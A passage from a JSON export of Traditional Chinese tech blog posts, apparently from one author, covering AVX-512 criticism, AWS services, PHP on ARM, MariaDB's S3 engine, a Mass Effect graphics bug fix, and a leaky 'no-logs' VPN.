    "body": "這幾天蠻熱鬧的消息，<a href=\"https://en.wikipedia.org/wiki/Linus_Torvalds\">Linus</a> 幹翻 <a href=\"https://www.intel.com/\">Intel</a> 丟出來的 <a href=\"https://en.wikipedia.org/wiki/AVX-512\">AVX-512</a>：「<a href=\"https://www.realworldtech.com/forum/?threadid=193189&amp;curpostid=193190\">Alder Lake and AVX-512</a>」。\r\n\r\n在維基百科的「<a href=\"https://en.wikipedia.org/wiki/Advanced_Vector_Extensions\">Advanced Vector Extensions</a>」這邊有提到，因為 AVX-512 執行時會<del>消耗</del>產生更多的熱量，所以得壓低 Turbo Boost 執行：\r\n\r\n<blockquote>Since AVX instructions are wider and generate more heat, Intel processors have provisions to reduce the Turbo Boost frequency limit when such instructions are being executed. The throttling is divided into three levels:\r\n\r\n<ul>\r\n\t<li>L0 (100%): The normal turbo boost limit.</li>\r\n\t<li>L1 (~85%): The \"AVX boost\" limit. Soft-triggered by 256-bit \"heavy\" (floating-point unit: FP math and integer multiplication) instructions. Hard-triggered by \"light\" (all other) 512-bit instructions.</li>\r\n\t<li>L2 (~60%): The \"AVX-512 boost\" limit. Soft-triggered by 512-bit heavy instructions.</li>\r\n</ul></blockquote>\r\n\r\n本來 AVX 與 AVX-2 只會在某些重量級的指令時會壓 15%，現在在 AVX-512 則是變成常態，而且有些會降到 40%，對於同時在跑的應用會受到很大的影響<del>，所以 Linus 也直接放話要用他的權限擋這件事情</del> (我把動詞讀錯了)：\r\n\r\n<blockquote>I want my power limits to be reached with regular integer code, not with some AVX512 power virus that takes away top frequency (because people ended up using it for memcpy!) and takes away cores (because those useless garbage units take up space).</blockquote>\r\n\r\n在後面的討論串「<a href=\"https://www.realworldtech.com/forum/?threadid=193189&amp;curpostid=193248\">Alder Lake and AVX-512</a>」這邊 Linus 有提到更細，像是他對於 MMX/SSE/AVX/AVX2 的想法，以及為什麼他這麼厭惡 AVX-512。\r\n\r\n用 <a href=\"https://www.amd.com/\">AMD</a> 的繼續看戲 XDDD",
    "title": "Linus 狂幹 Intel 的 AVX-512"
  },
  {
    "id": "9616",
    "body": "有時候 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上會有一些有趣的問答，像是這篇了有哪些你每天會用到，但卻幹翻的軟體 (下面的討論比較廣義，包括是服務)：「<a href=\"https://news.ycombinator.com/item?id=23803539\">Ask HN: What's the worst piece of software you use everyday?</a>」。\r\n\r\n先說一下，因為 Hacker News 有分頁的機制，記得看到底以後點 <code>more</code> 看下一頁。\r\n\r\n其實沒什麼意外的，知名的軟體都會被幹，包括 <a href=\"https://aws.amazon.com/\">AWS</a>、<a href=\"https://www.docker.com/\">Docker</a>、<a href=\"https://slack.com/\">Slack</a> 之類的 (然後還看到 <a href=\"https://git-scm.com/\">Git</a> 也有人幹)。\r\n\r\n不過比較意外的是目前在第一頁第一項 (代表分數很高) 的項目，看起來寫的人有滿滿的恨意：\r\n\r\n<blockquote>Sorry, but everything listed here is rank amateur stuff when compared to Blackboard Learn (https://en.wikipedia.org/wiki/Blackboard_Learn).</blockquote>\r\n\r\n下面的回覆也是一片幹，完全沒什麼人想辯解...\r\n\r\n翻了一下維基百科的「<a href=\"https://en.wikipedia.org/wiki/Blackboard_Learn\">Blackboard Learn</a>」條目，看了裡面的「介紹」，似乎不太意外...\r\n\r\n像是用了一年就換掉的：\r\n\r\n<blockquote>In addition, a number of educational institutions, teachers, and students have expressed concerns about the reliability of Blackboard. McMaster University in Hamilton, Ontario, Canada, has replaced their Blackboard system after multiple problems during one year of use. </blockquote>\r\n\r\n因為問題與成本關係換成 open source 的 <a href=\"https://moodle.org/\">Moodle</a>：\r\n\r\n<blockquote>Citing numerous glitches and high costs, many universities are turning to the cheaper, open source alternative Moodle, including Montana State University, Vassar College, California State University, Long Beach, and many other schools.</blockquote>\r\n\r\n炸掉的：\r\n\r\n<blockquote>Rensselaer Polytechnic Institute's implementation of the system notably suffered sporadic outages in the Grade Book section during the finals of the Fall 2014 semester.</blockquote>\r\n\r\n然後這次 COVID-19 也有災情：\r\n\r\n<blockquote>In Spring 2020, during coronavirus pandemic, Fairfax County Public Schools, one of the largest school system in the United States with 189 thousand students abandoned Blackboard Learn 24/7 after weeks of unsuccessful attempts to use it. The issues included, poor security allowing live instructions to be hacked and disrupted and inability for the system to cope with the volume even on the days when only elementary schools were using the system.</blockquote>\r\n\r\n記得交大以前也有用過 Blackboard 的產品 (不確定用的產品跟 Learn 有沒有關係)，網址是 <code>bb.nctu.edu.tw</code> (搜一下還可以看到一些痕跡)，但現在也查不到了，後來也沒聽到消息了...",
    "title": "Blackboard Learn"
  },
  {
    "id": "9617",
    "body": "一開始是看到「<a href=\"https://torrentfreak.com/libtorrent-adds-webtorrent-support-expanding-the-reach-of-browser-torrenting-200709/\">Libtorrent Adds WebTorrent Support, Expanding the Reach of Browser Torrenting</a>」這篇，但看的時候發現裡面把 <a href=\"https://en.wikipedia.org/wiki/Libtorrent\">libtorrent</a> 與 <a href=\"https://en.wikipedia.org/wiki/libTorrent\">libTorrent</a> 搞混 (這兩套不一樣，libTorrent 是 <a href=\"https://en.wikipedia.org/wiki/RTorrent\">rTorrent</a> 作者開發的)，就暫時沒管這篇文章了...\r\n\r\n剛剛看到「<a href=\"https://feross.org/libtorrent-webtorrent/\">libtorrent adds support for the WebTorrent protocol</a>」這篇，然後回頭去看本來 <a href=\"https://torrentfreak.com/\">TorrentFreak</a> 上的文章，發現已經拿掉本來提到的 rTorrent 了。(可以參考 Internet Archive 上的存檔資料 <a href=\"https://web.archive.org/web/20200709223911/https://torrentfreak.com/libtorrent-adds-webtorrent-support-expanding-the-reach-of-browser-torrenting-200709/\">20200709223911</a>)\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/WebTorrent\">WebTorrent</a> 的支援對於 <a href=\"https://en.wikipedia.org/wiki/BitTorrent\">BitTorrent</a> 社群算是很大的進展，主要是因為瀏覽器內就算用上 <a href=\"https://en.wikipedia.org/wiki/WebRTC\">WebRTC</a> 也沒有辦法模擬出 BitTorrent 的協定，所以只能調整協定，也就是這邊提到的 WebTorrent。\r\n\r\n但訂了新的協定，最大的問題還是現有的 BitTorrent 程式都不支援 WebTorrent，所以沒辦法享用現有的 ecosystem，變成獨立的系統，對於推廣上面很不利...\r\n\r\n而 libtorrent 算是第一個夠大的 library (對應到 client 的數量) 宣佈支援 WebTorrent，這樣用瀏覽器的人就會有更多機會透過 WebTorrent 協定對通了，接下來等更加發佈新版後應該就可以在 WebTorrent 上看到更多節點了...",
    "title": "libtorrent 要支援 WebTorrent 協定了"
  },
  {
    "id": "9618",
    "body": "把直播系統包在一起的服務 <a href=\"https://aws.amazon.com/ivs/\">Amazon Interactive Video Service</a>：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-interactive-video-service-add-live-video-to-your-apps-and-websites/\">Amazon Interactive Video Service – Add Live Video to Your Apps and Websites</a>」。\r\n\r\n這邊先抱怨一下，這個服務的網址是 <code>https://aws.amazon.com/ivs/</code>，但 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">Elastic Load Balancer</a> (ELB) 卻是 <code>https://aws.amazon.com/elasticloadbalancing/</code>，這是差別待遇啊...\r\n\r\n回到原來的主題，這個服務做了幾件事情。收到 RTMPS stream 後，他會轉成許多格式：\r\n\r\n<blockquote>If you send the maximum 8.5Mbps, 1080p60 stream, Amazon IVS will create 8.5Mbps 1080p60, 3Mbps 720p60, 2Mbps 720p30, 1.2Mbps 480p30, 800Kbps 360p30, and 400Kbps 160p30 renditions in an ABR stream.</blockquote>\r\n\r\n從這份列表可以看出他目前最高只支援 1080p60，而 1440p (2K) 或是 2160p (4K) 看起來都還不支援。\r\n\r\n另外因為是包裝 AWS Elemental Media Services，所以有蠻多東西都一起可以拿進來用，像是廣告機制與 DRM，然後看起來可以選擇 CDN：\r\n\r\n<blockquote>With AWS Elemental Media Services, you have a high level of control over all workflow components: transcoding and packaging configurations; levels of resilience; personalized ad insertion; and features like content protection for digital rights management (DRM). You also get to choose which video players and CDNs are used.</blockquote>\r\n\r\n區域上只開了三區 (<code>us-east-1</code>、<code>us-west-2</code> 與 <code>eu-west-1</code>)，但我在看 AWS 上的標價時整個搞混：\r\n\r\n<img src=\"https://i.gslin.com/imgur/2ivSbQJ.png\" alt=\"\" />\r\n\r\n一開始看的時候在找單位但發現沒標，後來研究了一下看起來應該是 per hour？這樣標看起來很像是前面一萬個小時只要 USD$0.32 啊？\r\n\r\n另外一個比較有趣的事情是，看起來不像是用 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 做，因為收費區域的區分跟 CloudFront 不太一樣，實際開下去後發現似乎是用 <a href=\"https://www.twitch.tv/\">Twitch</a> 的架構？\r\n\r\n我試著開了一個，給了 <code>a9a09e285166.us-east-1.playback.live-video.net</code> 這樣的 endpoint，實際測試發現的確是某種 CDN，指到台灣的機房：\r\n\r\n<pre>;; ANSWER SECTION:\r\na9a09e285166.us-east-1.playback.live-video.net. 56 IN A 23.160.0.254\r\na9a09e285166.us-east-1.playback.live-video.net. 56 IN A 192.108.239.254</pre>\r\n\r\n實際 traceroute 後發現不是 CloudFront，但反解後發現 <a href=\"https://en.wikipedia.org/wiki/Dig_(command)\">dig</a> 拋出了 <a href=\"https://en.wikipedia.org/wiki/Justin.tv\">Justin.tv</a> 的資訊：\r\n\r\n<pre>;; AUTHORITY SECTION:\r\n0.160.23.in-addr.arpa.  300     IN      SOA     ib-ens.sjc02.justin.tv. admin.justin.tv. 44 10800 3600 604800 300\r\n\r\n;; AUTHORITY SECTION:\r\n239.108.192.in-addr.arpa. 300   IN      SOA     ib-ens.sjc02.justin.tv. admin.justin.tv. 49 10800 3600 604800 300</pre>\r\n\r\n然後 traceroute 可以發現跟 <code>video-edge-6ab612.tpe03.abs.hls.ttvnw.net</code> (在 Twitch 上隨便找個實況抓的 hostname) 進到同一個機房 (在 router 還沒有擋下來的範圍)，看起來就是拿 Twitch 的頻寬做事 XDDD\r\n\r\nTwitch-as-a-service XDDD\r\n\r\n這包會不會是 Twitch 掛 AWS 牌推出的服務啊 XDDD",
    "title": "AWS 推出直播服務 Amazon Interactive Video Service (Twitch-as-a-Service)"
  },
  {
    "id": "9619",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 南韓區開第四個 AZ 了，比想像中的快不少：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-fourth-availability-zone-in-the-aws-asia-pacific-seoul-region/\">Now Open – Fourth Availability Zone in the AWS Asia Pacific (Seoul) Region</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KjrNW4P.webp\" /><img src=\"https://i.gslin.com/imgur/KjrNW4P.jpg\" alt=\"\" /></picture>\r\n\r\n而且不像東京，新客戶只能看到三個 AZ：「<a href=\"https://aws.amazon.com/about-aws/global-infrastructure/regions_az/\">Regions and Availability Zones</a>」。\r\n\r\n<blockquote>*New customers can access three Availability Zones in Asia Pacific (Tokyo).</blockquote>\r\n\r\n雖然台灣過去的 routing 都還是沒改善...",
    "title": "AWS 南韓區開第四個 AZ"
  },
  {
    "id": "9620",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2020/05/15/9527/amazon-ec2-%e7%9a%84-m6g-%e7%b3%bb%e5%88%97%e6%ad%a3%e5%bc%8f%e6%8e%a8%e5%87%ba%e4%ba%86/\">Amazon EC2 的 M6g 系列正式推出了</a>」這邊提到了 <a href=\"https://aws.amazon.com/\">AWS</a> 在 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 上推出了以 <a href=\"https://www.arm.com/\">ARM</a> 為架構的 <code>m6g</code> 系列機器，剛剛看到有人拿 <a href=\"https://www.php.net/\">PHP</a> 上的應用丟出測試的差異了：「<a href=\"https://idk.dev/improving-performance-of-php-for-arm64-and-impact-on-amazon-ec2-m6g-instances/\">Improving performance of PHP for Arm64 and impact on Amazon EC2 M6g instances</a>」。\r\n\r\n最先要注意的應該是這張：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dip625y.webp\" /><img src=\"https://i.gslin.com/imgur/dip625y.jpg\" alt=\"\" /></picture>\r\n\r\n在 PHP 7.3 的時候 <a href=\"https://www.intel.com/\">Intel</a> 平台的 <code>m5</code> 跑比較快，但到了 PHP 7.4 就變成 ARM 的 <code>m6g</code> 跑比較快了，不過這兩個版本的差異都不算太大，而到了還在開發的 PHP 8 則是出現了比較大的差距。\r\n\r\n作者有提到主要的原因是在 PHP 7.4 之前 ARM 上不會啟用 Zend optimizer，而這個功能對效能的影響差很多，在 PHP 7.4 打開後就反轉了：\r\n\r\n<blockquote>Zend optimizer is a component of the PHP runtime system that improves performance by up to 30% on a range of Zend micro-benchmarks. Before PHP 7.4 the Zend optimizer was not enabled for Arm.</blockquote>\r\n\r\n而 PHP 8 的差距拉大，則是因為 PHP 有更多針對 ARM 平台的改善，像是這邊提到的 <a href=\"https://en.wikipedia.org/wiki/NEON_(instruction_set)\">NEON</a> 指令集：\r\n\r\n<blockquote>PHP-8 plans to release in 2021 with more improvements for Arm64: an improved toupper/tolower function brings performance up by 16.5x. <a href=\"https://github.com/php/php-src/pull/4439\">https://github.com/php/php-src/pull/4439</a></blockquote>\r\n\r\n除此之外，AWS 也對 <a href=\"https://www.pcre.org/\">PCRE2</a> 提供了使用 NEON 指令集的加速的 patch：\r\n\r\n<blockquote>AWS has contributed changes to PCRE2 release 10.34. PCRE2 version 10.34 is used in PHP-8 to match regular expressions. PCRE2 accounted for about 8% of execution time in WordPress benchmark. The change contributed by AWS to PCRE2 vectorizes first character match and matching pairs of characters with NEON instructions: performance improves by up to 8x on M6g.</blockquote>\r\n\r\n這樣可以看到 ARM 平常應該會愈來愈成熟，而更重要的是 <code>m6g</code> 系列機器比 <code>m5</code> 便宜不少：以作者測試的 <code>{m5,m6g}.4xlarge</code> 來看，分別是 USD$0.768/hr 與 USD$0.616/hr，大約是 20% 的差距，加上效能上的差距，C/P 值看起來是真的有到官方宣稱的 40%，這點在其他 <a href=\"https://www.plurk.com/\">Plurk</a> 也測出了<a href=\"https://www.plurk.com/p/nwl1l8\">類似的結果</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OO35g5d.webp\" /><img src=\"https://i.gslin.com/imgur/OO35g5d.jpg\" alt=\"\" /></picture>\r\n\r\n未來除非是 binary-only 的東西，不然應該會朝著往 ARM 上面測過，再決定要怎麼選 instance type...",
    "title": "PHP 在 Amazon EC2 的 m5 (Intel) 與 m6g (ARM) 的效能差異"
  },
  {
    "id": "9622",
    "body": "在「<a href=\"https://www.osnews.com/story/132092/eu-rejects-us-data-sharing-agreement-over-privacy-concerns/\">EU rejects US data sharing agreement over privacy concerns</a>」這邊看到的新聞，引用自「<a href=\"https://www.techradar.com/sg/news/eu-rejects-us-data-sharing-agreement-over-privacy-concerns\">EU rejects US data sharing agreement over privacy concerns</a>」這邊的新聞報導。\r\n\r\n歐盟最高法院的新聞稿則是在「<a href=\"https://curia.europa.eu/jcms/upload/docs/application/pdf/2020-07/cp200091en.pdf\">The Court of Justice invalidates Decision 2016/1250 on the adequacy of the protection provided by the EU-US Data Protection Shield</a>」這邊可以看到，雖然 <a href=\"https://en.wikipedia.org/wiki/EU%E2%80%93US_Privacy_Shield\">EU-US Privacy Shield</a> 被推翻，但本來在 2010 年的框架仍然有效：\r\n\r\n<blockquote>However, it considers that Commission Decision 2010/87 on standard contractual clauses for the transfer of personal data to processors established in third countries is valid.</blockquote>\r\n\r\n維基百科上的條目寫的比較簡單，主要是協議裡美國的保護機制不到歐盟的標準：\r\n\r\n<blockquote>A final CJEU decision was published on 16 July 2020. The EU-US Privacy Shield for data sharing was struck down by the European Court of Justice on the grounds it did not provide adequate protections to EU citizens on government snooping.</blockquote>\r\n\r\n記得這個戰了好久，最後在最高法院定案了...",
    "title": "EU-US Privacy Shield 被歐盟法院拒絕"
  },
  {
    "id": "9623",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 對 <a href=\"https://mariadb.com/\">MariaDB</a> 在 10.5 (目前的最新穩定版) 裡出的 <a href=\"https://mariadb.com/kb/en/s3-storage-engine/\">S3 Engine</a> 給出了簡單的測試報告：「<a href=\"https://www.percona.com/blog/2020/07/17/mariadb-s3-engine-implementation-and-benchmarking/\">MariaDB S3 Engine: Implementation and Benchmarking</a>」。\r\n\r\n這個 engine 顧名思義就是把資料丟到 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 上，目前是 alpha 版本，預設是不會載入的，需要開 alpha flag 才能用：\r\n\r\n<blockquote>The S3 engine is READ_ONLY so you can’t perform any write operations ( INSERT/UPDATE/DELETE ), but you can change the table structure.</blockquote>\r\n\r\n另外這是從 <a href=\"https://en.wikipedia.org/wiki/Aria_(storage_engine)\">Aria</a> 改出來的 read-only engine，而 Aria 是從 <a href=\"https://en.wikipedia.org/wiki/MyISAM\">MyISAM</a> 改出來的：\r\n\r\n<blockquote>The S3 storage engine is based on the Aria code and the main feature is that you can directly move your table from a local device to S3 using ALTER.</blockquote>\r\n\r\n測出來發現在 read-only 的情境下，<code>COUNT(*)</code> 超快，看起來就是跟 MyISAM 體系有關，直接撈 MyISAM 內的資料，所以本地要 18 秒，但放到 S3 反而秒殺 XDDD\r\n\r\n整體看起來還不錯？算是一種 <a href=\"https://en.wikipedia.org/wiki/Data_warehouse\">Data warehouse</a> 的方案，主要是要用到 row-based format 儲存的優點，遇到一些冷資料可以這樣玩。\r\n\r\n從「<a href=\"https://www.percona.com/blog/2020/07/17/mariadb-s3-engine-implementation-and-benchmarking/\">Using the S3 Storage Engine</a>」這邊的設定方式看到 <code>s3_host_name</code>，看起來有機會接其他家的 S3 API，或是本地的 Storage。\r\n\r\n話說 Aria 這個引擎當初最主要的重點就在 crash-safe，在有了 crash-safe 之後，<a href=\"https://en.wikipedia.org/wiki/Distributed_Replicated_Block_Device\">DRBD</a> 這種 block-level replication 機制就可以硬幹上去，後來主力就在擴充其他型態了，像是 GIS 與 virtual column 的功能，不過這些功能本家在 <a href=\"https://en.wikipedia.org/wiki/InnoDB\">InnoDB</a> 上好像也都陸陸續續跟上來了，單純的 Aria engine 好像還好...",
    "title": "MariaDB 的 S3 Engine 效能測試"
  },
  {
    "id": "9624",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Mass_Effect\">Mass Effect</a> 是個 2007 在 <a href=\"https://en.wikipedia.org/wiki/Xbox\">Xbox</a> 上推出的遊戲，並且在 2008 推出 Windows 版，這個遊戲在 2011 年 <a href=\"https://www.amd.com/\">AMD</a> 推出的 CPU 上 (<a href=\"https://en.wikipedia.org/wiki/Bulldozer_(microarchitecture)\">Bulldozer</a>)，某些場景會產生人物黑塊的 bug，社群有些猜測但一直都沒被證實，作者一路追出不少問題，並且給了一個還算乾淨的 workaround：「<a href=\"https://cookieplmonster.github.io/2020/07/19/silentpatch-mass-effect/\">Fixing Mass Effect black blobs on modern AMD CPUs</a>」，另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有很精彩的討論：「<a href=\"https://news.ycombinator.com/item?id=23889473\">Fixing Mass Effect black blobs on modern AMD CPUs (cookieplmonster.github.io)</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/0K8bSa2.jpg\" alt=\"\" />\r\n\r\n這篇主要是看趣味的，裡面的狀況有點複雜。\r\n\r\n社群有一些 workaround 可以避開這個問題，作者後來是從關閉 PSGP (Processor Specific Graphics Pipeline) 的方法找問題，然後發現在計算時會產生出 <code>NaN</code> 的問題，所以導致貼出來的圖就變成黑塊了...\r\n\r\n一路追下去，發現遊戲本身好像沒什麼大問題，但跟 <a href=\"https://en.wikipedia.org/wiki/Direct3D\">Direct3D</a> 裡面的 <a href=\"https://docs.microsoft.com/en-us/windows/win32/direct3d9/d3dxmatrixinverse\">D3DXMatrixInverse</a> 有關，會依照 CPU 的支援度決定怎麼跑：\r\n\r\n<blockquote><ul>\r\n\t<li>Disabling PSGP makes both Intel and AMD take a regular <code>x86</code> code path.</li>\r\n\t<li>Intel CPUs always take an <code>intelsse2</code> code path.</li>\r\n\t<li>AMD CPUs supporting 3DNow! take a <code>amd_mmx_3dnow</code> or <code>amd3dnow_amdmmx</code> code path, while CPUs without 3DNow take an <code>intelsse2</code> code path.</li>\r\n</ul></blockquote>\r\n\r\n會有這些邏輯是因為 AMD 在 2010 後決定放生 <a href=\"https://en.wikipedia.org/wiki/3DNow!\">3DNow!</a>，所以會需要這樣判斷。\r\n\r\n接著寫了一隻小程式測試，用 <code>memcmp()</code> 判斷是不是一樣，結果發現 AMD 的 SSE2 跑出來的程式不被遊戲接受：(不一樣是正常的，因為這些指令本來就沒有要求完全正確，是可以接受誤差的)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ug37Rbc.webp\" /><img src=\"https://i.gslin.com/imgur/ug37Rbc.jpg\" alt=\"\" /></picture>\r\n\r\n接著就是翻資料，可以知道 <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/directxmath/nf-directxmath-xmmatrixinverse\">XMMatrixInverse</a> 算是接班人：\r\n\r\n<blockquote>I figured that since we were to replace that matrix function anyway, I could try replacing it with <code>XMMatrixInverse</code> being a “modern” replacement for <code>D3DXMatrixInverse</code>. <code>XMMatrixInverse</code> also uses SSE2 instructions so it should be equally optimal to the D3DX function, but I was nearly sure it would break the same way.</blockquote>\r\n\r\n所以就弄個一個 DLL，把本來呼叫 <code>D3DXMatrixInverse</code> 的部份用 <code>XMMatrixInverse</code> 改寫換掉：「<a href=\"https://github.com/CookiePLMonster/SilentPatchME/blob/master/source/D3DXMatrix.cpp\">SilentPatchME/source/D3DXMatrix.cpp</a>」，這個方式算是乾淨的 workaround 掉，保持 API 相容性，以及該有的加速能力 (由 <code>XMMatrixInverse</code> 提供)。\r\n\r\nHacker News 上有討論到 <a href=\"https://www.intel.com/\">Intel</a> 與 AMD 這些指令在 SSE2 上的誤差值，都是在規格要求的範圍內：\r\n\r\n<blockquote>Const-me 14 hours ago [–]\r\n\r\nHere’s Intel versus AMD relative error of RCPPS instruction: http://const.me/tmp/vrcpps-errors-chart.png AMD is Ryzen 5 3600, Intel is Core i3 6157U.\r\nOver the complete range of floats, AMD is more precise on average, 0.000078 versus 0.000095 relative error. However, Intel has 0.000300 maximum relative error, AMD 0.000315.\r\n\r\nBoth are well within the spec. The documentation says “maximum relative error for this approximation is less than 1.5*2^-12”, in human language that would be 3.6621E-4.\r\n\r\nSource code that compares them by creating 16GB binary files with the complete range of floats: https://gist.github.com/Const-me/a6d36f70a3a77de00c61cf4f6c17c7ac</blockquote>\r\n\r\n至於為什麼會生出 <code>NaN</code> 的原因，沒找出來還是有點可惜，不過這個解法還行，就是「新版的 library 既然沒問題，就大家也不要太計較舊版的問題」的概念...",
    "title": "Mass Effect 的 3D 場景黑塊問題一路追到 Intel/AMD 的 SSE2 指令集..."
  },
  {
    "id": "9626",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的懷古字型：「<a href=\"https://int10h.org/oldschool-pc-fonts/\">The Ultimate Oldschool PC Font Pack</a>」，在「<a href=\"https://int10h.org/oldschool-pc-fonts/fontlist/\">FONT INDEX</a>」這頁裡面有很多字型的圖片可以看。\r\n\r\n比較有趣的是在「<a href=\"https://int10h.org/oldschool-pc-fonts/readme/\">README</a>」這頁提到的版權問題，點陣字體在美國是無法被版權化的：\r\n\r\n<blockquote>Q. Is this even legal? The original fonts are not yours. Do you have the right to distribute these versions?\r\n\r\nA. Short answer: as far as I was able to research, there is nothing illegal or infringing about this collection. The raw bitmap typefaces are not copyrightable, unlike fonts in specific formats such as .fon and TrueType (which qualify as software); at least this is the case in the US, where this site is based. For a longer and far more boring answer, see the legal stuff section below.</blockquote>\r\n\r\n這點可以在維基百科上的「<a href=\"https://en.wikipedia.org/wiki/Intellectual_property_protection_of_typefaces\">Intellectual property protection of typefaces</a>」這篇看到對應的說明：\r\n\r\n<blockquote>Typefaces cannot be protected by copyright in the United States (Code of Federal Regulations, Ch 37, Sec. 202.1(e); Eltra Corp. vs. Ringer). The idea that typefaces (rather than fonts, which are computer software) cannot be copyrighted in the United States is black letter law. 37 C.F.R. § 202.1(e). Under U.S. law, typefaces and their letter forms or glyphs are considered utilitarian objects whose public utility outweighs any private interest in protecting their creative elements. However, there is a distinction between a font and a typeface. The machine code used to display a stylized typeface (called a font) is protectable as copyright. In 1992, the US Copyright Office determined that digital outline fonts had elements that could be protected as software. Since that time, the Office has accepted registration of copyright for digital vector fonts, such as PostScript Type 1, TrueType, and OpenType format files.</blockquote>\r\n\r\n有不少字型有提供 8x16 的大小，看起來之後還是可以找機會用看看？應該有機會搭 16px 的中文字...",
    "title": "一些懷古的點陣字型"
  },
  {
    "id": "9627",
    "body": "<a href=\"https://en.wikipedia.org/wiki/UUID\">UUID</a> 是個長 128 bits 的數字，轉成 16 進位也有 32 個字要記，對於人類記憶來說不太友善。\r\n\r\n前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的東西，把這 128 bits 的資訊轉成類莎士比亞的句子，相比前面 32 個 16 進位的數字來說好記不少：「<a href=\"https://github.com/Debdut/uuid-readable\">uuid-readable</a>」。\r\n\r\n<blockquote>Generate Easy to Remember, Readable UUIDs, that are Shakespearean and Grammatically Correct Sentences</blockquote>\r\n\r\n給的輸出範例包括了：\r\n\r\n<blockquote>Loren Chariot Addy the Titbit of Cholame questioned Cele Garth Alda and 16 windy frogs\r\n\r\nDrucill Hubert Lewse the Comer of Avera rejoices Fiann Craggy Florie and 5 hard trouts\r\n\r\nJacquette Brandt John the Pectus of Barnsdall doubted Glenn Gay Gregg and 12 noisy stoats</blockquote>\r\n\r\n我不覺得有變簡單啊 XDDD 也許對於英文母語的人來說會簡單一些... 吧？",
    "title": "莎士比亞風格的 UUID"
  },
  {
    "id": "9628",
    "body": "前陣子 <a href=\"https://www.comparitech.com/\">comparitech</a> 發現了宣稱不保留記錄的 VPN 廠商 <a href=\"https://ufovpn.io/\">UFO VPN</a> 有 <a href=\"https://en.wikipedia.org/wiki/Elasticsearch\">Elasticsearch</a> 伺服器沒有設定好，造成外部可以直接存取，然後發現裡面包含了大量記錄：「<a href=\"https://www.comparitech.com/blog/vpn-privacy/ufo-vpn-data-exposure/\">“Zero logs” VPN exposes millions of logs including user passwords, claims data is anonymous</a>」，這篇文章的小標把重點先說完了：\r\n\r\n<blockquote>UFO VPN exposed millions of log files about users of its service, including their account passwords and IP addresses, despite claiming that it keeps no logs.</blockquote>\r\n\r\n目前還是建議在有能力的情況下都自己架，一般常見就是用 <a href=\"https://openvpn.net/\">OpenVPN</a>，但設定上會比較麻煩一些。如果要方便的話可以用 <a href=\"https://ocserv.gitlab.io/www/index.html\">Openconnect VPN Server</a> (ocserv) 架 server，然後在手機上可以直接用 <a href=\"https://www.cisco.com/\">Cisco</a> 官方提供的用戶端接，像是 <a href=\"https://apps.apple.com/us/app/cisco-anyconnect/id1135064690\">Cisco AnyConnect</a> (<a href=\"https://www.apple.com/ios/\">iOS</a>) 與 <a href=\"https://play.google.com/store/apps/details?id=com.cisco.anyconnect.vpn.android.avf\">AnyConnect</a> (<a href=\"https://www.android.com/\">Android</a>)，在桌機上一般則是用 <a href=\"https://www.infradead.org/openconnect/\">OpenConnect</a> 自家的軟體連接。\r\n\r\n家裡有 <a href=\"https://www.hinet.net/\">HiNet</a> 的網路的話，可以申請一個固定 IP (透過 <a href=\"https://en.wikipedia.org/wiki/PPPoE\">PPPoE</a> 的)，然後用一台 <a href=\"https://raspberrypi.org/\">Raspberry Pi</a> 之類的設備架設。\r\n\r\n倒不是說這些 VPN 廠商的服務不能用，只是你必須認知這些 VPN 是拿來繞過地區限制的，而不是為了安全性或是隱私，所以如果是人在外面使用網路，想要避免被商家或是外面的 ISP 看到流量內容，透過自己架設的 VPN 應該會好不少。",
    "title": "前陣子爆出「不保留記錄的 VPN」保留了大量的客戶與連線資訊"
  },
  {
    "id": "9629",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到拿 <a href=\"https://workers.cloudflare.com/\">Cloudflare Workers</a> 跑 Geolocation API：「<a href=\"https://maxkostinevich.com/blog/serverless-geolocation/\">How to make simple Geolocation service</a>」。\r\n\r\n作者想要做一個很簡單的 Geolocation API，一開始的想法是在 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 上用 <a href=\"https://www.maxmind.com/en/home\">MaxMind</a> 的資料，但 latency 偏高： \r\n\r\n<blockquote>However, I quickly realized that the response time isn't what I've expected - on average the response took somewhere between from 200ms to 500ms. So I started looking for other options.</blockquote>\r\n\r\n所以作者就想到是不是有有機會丟到 Cloudflare Workers 上，但發現 license 看起來是個問題，另外因為把 MaxMind 的資料庫丟進去，會超過 worker 的時間限制：\r\n\r\n<blockquote>And for this case MaxMind offers GeoLite2 database, however you'll be in charge of hosting this database on your server and making regular updates of the database. You also need to make sure your project is compliant with MaxMind's License.</blockquote>\r\n\r\n<blockquote>However, this solution had one really big caveat - MaxMind GeoLite2 database does not work on Cloudflare Workers due to some runtime limitations.</blockquote>\r\n\r\n結果作者後來發現 Cloudflare Workers 上本身就會帶 Geoloation 資訊了，不需要另外拉 MaxMind 的資料查：\r\n\r\n<blockquote>And after exploring their documentation, I realized that the Request object in function have an access to cf object, which contains some useful information about the visitor, including visitor's country!</blockquote>\r\n\r\n另外我翻了一下價錢，主要是算次數的，看起來 Free Plan 就可以 100K/day (執行時間限制是 10ms)，而如果是付費方案的話則是 USD$0.5/M (50ms)，這樣對一些小專案來說，Free Plan 似乎是夠用了...",
    "title": "拿 Cloudflare Workers 跑 Geolocation API"
  },
  {
